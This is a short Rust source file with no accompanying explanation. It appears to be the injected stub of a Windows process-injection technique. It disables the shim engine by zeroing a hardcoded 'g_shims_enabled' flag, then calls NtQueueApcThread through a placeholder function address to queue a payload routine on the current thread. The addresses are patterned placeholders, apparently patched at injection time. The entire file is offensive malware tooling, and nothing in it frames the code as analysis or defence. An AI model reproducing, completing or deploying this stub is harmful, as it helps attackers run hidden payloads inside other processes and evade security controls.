--------------------------------------------------------------------------------
1 | use winapi::ctypes::c_void;
2 | use winapi::shared::ntdef::HANDLE;
3 |
4 | // Define our own version of NtCurrentThread()
5 | const NT_CURRENT_THREAD: HANDLE = -2isize as HANDLE;
6 |
7 | // Update the type definition
8 | type NtQueueApcThread = unsafe extern "system" fn(
9 | ThreadHandle: HANDLE,
10 | ApcRoutine: *const c_void,
11 | ApcArgument1: *const c_void,
12 | ApcArgument2: *const c_void,
13 | ApcArgument3: *const c_void,
14 | ) -> i32;
15 |
16 | fn main() {
17 | // Define our hardcoded addresses
18 | let g_shims_enabled: *mut u8 = 0x9999999999999999 as *mut u8;
19 | let mm_payload: *const c_void = 0x8888888888888888 as *const c_void;
20 | let mm_context: *const c_void = 0x7777777777777777 as *const c_void;
21 |
22 | // Disable shim engine
23 | unsafe {
24 | *g_shims_enabled = 0;
25 | }
26 |
27 | // Queue APC using the function pointer
28 | let nt_queue_apc_thread: NtQueueApcThread = unsafe {
29 | std::mem::transmute(0x6666666666666666u64)
30 | };
31 |
32 | unsafe {
33 | nt_queue_apc_thread(
34 | NT_CURRENT_THREAD,
35 | mm_payload,
36 | mm_context,
37 | std::ptr::null(),
38 | std::ptr::null(),
39 | );
40 | }
41 | }
42 |
--------------------------------------------------------------------------------